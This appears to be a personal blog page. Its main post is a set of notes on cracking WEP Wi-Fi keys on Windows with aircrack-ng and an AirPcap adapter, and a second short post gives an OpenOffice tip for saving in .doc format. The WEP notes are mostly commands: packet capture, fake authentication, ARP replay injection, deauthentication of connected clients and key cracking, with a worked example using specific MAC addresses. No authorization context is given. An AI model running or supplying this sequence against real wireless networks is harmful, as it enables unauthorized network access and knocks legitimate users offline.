Notes: Cracking WEP on the Windows command line with Aircrack-ng and AirPcap Tx

Finally, I’ve had time to write down my notes on using aircrack-ng with the Airpcap Tx adapter in Windows. Before you read on, please be aware that this isn’t meant to be a guide or tutorial, it’s just my notes. Thanky
Basics
Start capturing:
airodump-ng \\.\airpcap00 airpcap CHANNELNUMBER mycapturefile
Fake auth:
aireplay-ng --fakeauth 0 -e "MYSSID" -a BSSIDMAC -h AIRPCAPMAC \\.\airpcap00
Start attack:
aireplay-ng --arpreplay -b BSSIDMAC -h CLIENTMAC \\.\airpcap00
Deauth (if we need ARPs):
aireplay-ng –deauth 3 -a BSSIDMAC -c CLIENTMAC \\.\airpcap00
Start cracking:
aircrack-ng -z mycapturefile.cap
Worked example:
airodump-ng.exe \\.\airpcap00 airpcap 11 mycapturefile
aireplay-ng --fakeauth 0 -e "WEP" -a 00:a0:c5:9d:d5:50 -h 00:02:72:67:92:8a \\.\airpcap00
aireplay-ng --arpreplay -b 00:a0:c5:9d:d5:50 -h 00:90:4b:eb:9b:36 \\.\airpcap00
aireplay-ng --deauth 3 -a 00:a0:c5:9d:d5:50 -c 00:90:4b:eb:9b:36 \\.\airpcap00
aircrack-ng -z mycapturefile.cap
Download
I’ve prepared a special release of the aircrack-ng tools originally prepared by CACE Technologies on the AirPcap CDROM. It replaces the new aireplay-ng.exe with an older one which, in my tests, appears to perform better.

OpenOffice Save As .doc by default

To get OpenOffice to Save in Microsoft Word .doc format by default, follow these steps:
- Tools > Options
- Load/Save > General
- In the bottom right of the window, look for “Always save as” and pick your poison
I know that saving in a proprietary format over an open standard is bad practice, but sometimes in Business you need to maintain interoperability with the de facto standard; in this case: Microsoft Word.
